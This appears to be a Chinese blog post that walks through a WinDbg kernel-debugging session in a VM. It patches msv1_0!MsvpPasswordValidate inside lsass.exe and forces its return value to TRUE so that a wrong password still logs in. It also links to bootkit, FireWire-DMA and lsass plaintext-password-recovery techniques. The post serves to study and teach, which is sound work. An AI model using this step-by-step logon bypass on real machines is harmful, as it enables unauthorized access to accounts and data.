admin管理员组文章数量:1637858
文章内容没什么特别的新意,我只是记录下windbg的调试命令而已,重点在扩展阅读中。
写在前面:
Windows系统开机密码验证时在msv1_0.dll的MsvpPasswordValidate函数中进行的,这个函数原型是:
BOOLEAN __stdcall
MsvpPasswordValidate(
IN BOOLEAN UasCompatibilityRequired,
IN NETLOGON_LOGON_INFO_CLASS LogonLevel,
IN PVOID LogonInformation,
IN PUSER_INTERNAL1_INFORMATION Passwords,
OUT PULONG UserFlags,
OUT PUSER_SESSION_KEY UserSessionKey,
OUT PLM_SESSION_KEY LmSessionKey
);
将用户输入的密码加密后的密钥跟系统保存的密钥进行对比,如果相同则返回TRUE,用户既能成功登陆系统。如果返回FALSE,则系统拒绝用户登陆.
这个函数在05、06年间就被爆了,可是即使是最新的win8系统还是没有变化,只是在win8上多了一种移动的登录方式,即利用msn账号登录,这种登录方式不经过 MsvpPasswordValidate函数。
开始:VM虚拟机+windbg调试windows系统,调试进入登录界面
在windbg中按Ctrl+Break 停止系统运行。
先找到lsass.exe进程的EPROCESS结构地址:
kd> !process 0 0 lsass.exe
PROCESS 88763530 SessionId: 0 Cid: 021c Peb: 7ffdf000 ParentCid: 019c
DirBase: 3ead90e0 ObjectTable:996da8d0 HandleCount: 482.
Image:lsass.exe
kd> dt _EPROCESS 88763530 ImageFileName
ntdll!_EPROCESS
+0x16c ImageFileName : [15] "lsass.exe"
利用这个eprocess地址附加到这个lsass.exe进程:
kd> .process /p 88763530
Implicit process is now 88271390
.cache forcedecodeuser done
强制性重新加载用户符号表:
kd> .reload /f /user
Loading User Symbols
..........................*** ERROR: Moduleload completed but symbols could not be loaded for msprivs.DLL
...............................
查看是否有msv1_0.dll的模块符号:
kd> lmf m msv*
start end module name
75030000 75072000 msv1_0 C:\Windows\system32\msv1_0.DLL
75fb0000 7605c000 msvcrt C:\Windows\system32\msvcrt.dll
反汇编密码hash比较函数:
kd> u MsvpPasswordValidate
msv1_0!MsvpPasswordValidate:
7503e26d 8bff mov edi,edi
7503e26f 55 push ebp
7503e270 8bec mov ebp,esp
7503e272 81ec88000000 sub esp,88h
7503e278 a16c960675 mov eax,dword ptr [msv1_0!__security_cookie (7506966c)]
7503e27d 33c5 xor eax,ebp
7503e27f 8945fc mov dword ptr [ebp-4],eax
7503e282 8b4518 mov eax,dword ptr [ebp+18h]
如果没有反汇编出里面的内容(显示全是??),是因为dll还没映射到内存。那么先F5运行,点击登录系统,等提示登录密码错误以后再回到windbg暂停系统,重复上面的操作即可。
在开始处理下断点,记下开始的字节是 0x8B (这里不要用bp\bu下断点,这断点试了很多次,有时候灵有时候不灵):
kd> eb MsvpPasswordValidate CC
F5 运行系统,然后点击系统登录,系统会自动被断下来:
kd> g
Break instruction exception - code 80000003(first chance)
msv1_0!MsvpPasswordValidate:
001b:7503e26d cc int 3
这里千万别F5,否则RPC会坏掉的。
把断点先恢复回原来的代码:
kd> eb eip 8b
kd> u
msv1_0!MsvpPasswordValidate:
001b:7503e26d 8bff mov edi,edi
001b:7503e26f 55 push ebp
001b:7503e270 8bec mov ebp,esp
001b:7503e272 81ec88000000 sub esp,88h
001b:7503e278 a16c960675 mov eax,dword ptr [msv1_0!__security_cookie (7506966c)]
001b:7503e27d 33c5 xor eax,ebp
001b:7503e27f 8945fc mov dword ptr [ebp-4],eax
001b:7503e282 8b4518 mov eax,dword ptr [ebp+18h]
这时候在返回函数中下个断点,返回地址么从esp中找:
kd> dd esp
00c2d85c 750494fa 00000001 00000001 00c2e544
00c2d86c 00c2dcfc 00c2d948 00c2dd20 00c2dd70
00c2d87c 00c2e437 00c2e48b 00c2e544 00000000
00c2d88c 00000000 00000000 00000000 00000000
00c2d89c 00000000 00000000 00000000 00000000
00c2d8ac 00000000 00c2e484 00000000 7506a1d8
00c2d8bc 00000000 00c2e437 00000000 00000000
00c2d8cc 00000001 00478b70 2bd3cf74 01ce2ab4
kd> u poi(esp)
msv1_0!MsvpSamValidate+0x9db:
750494fa 84c0 test al,al
750494fc 0f84e0240000 je msv1_0!MsvpSamValidate+0x9e3 (7504b9e2)
75049502 f685a8f9ffff01 test byte ptr [ebp-658h],1
75049509 750d jne msv1_0!MsvpSamValidate+0xb60 (75049518)
7504950b f683a800000001 test byte ptr [ebx+0A8h],1
75049512 0f8514260000 jne msv1_0!MsvpSamValidate+0xb43 (7504bb2c)
75049518 81bdd0f9fffff4010000 cmp dword ptr[ebp-630h],1F4h
75049522 7425 je msv1_0!MsvpSamValidate+0xbb7 (75049549)
kd> eb poi(esp) CC
F5继续运行,直到在地址750494fa断下:
这时候把断点去除,改回0x84,再修改 MsvpPasswordValidate的返回值为TRUE,即al=1
kd> g
Break instruction exception - code 80000003(first chance)
msv1_0!MsvpSamValidate+0x9db:
001b:750494fa cc int 3
kd> eb eip 84
kd> r al
al=0
kd> r al=1
按F5运行,系统成功登录。
扩展阅读:
利用MsvpPasswordValidate函数制作bootkit绕过xp开机密码:
http://www.codeproject/Articles/79241/Bypassing-Windows-XP-Logon-Password-using-bootkit
winlockpwn 项目中利用1394修改物理内存的MsvpPasswordValidate代码绕过windows密码:
http://esec-lab.sogeti/dotclear/public/publications/10-hitbamsterdam-dmaattacks.pdf
http://www.securityresearch.at/publications/windows7_firewire_physical_attacks.pdf
利用lsasrv.dll中的LsaUnprotectMemory函数、_desxtable * g_pDESXKey密钥、l_UserCtxtList用户数据解码出系统明文密码:
http://bbs.pediy/showthread.php?t=156643&highlight=sekurlsa
http://bbs.pediy/showthread.php?t=163383&highlight=sekurlsa+dll
版权声明:本文标题:Windbg调试win登录用户密码验证过程 内容由热心网友自发贡献,该文观点仅代表作者本人, 转载请联系作者并注明出处:https://m.elefans.com/dongtai/1729253346a1192423.html, 本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如发现本站有涉嫌抄袭侵权/违法违规的内容,一经查实,本站将立刻删除。
发表评论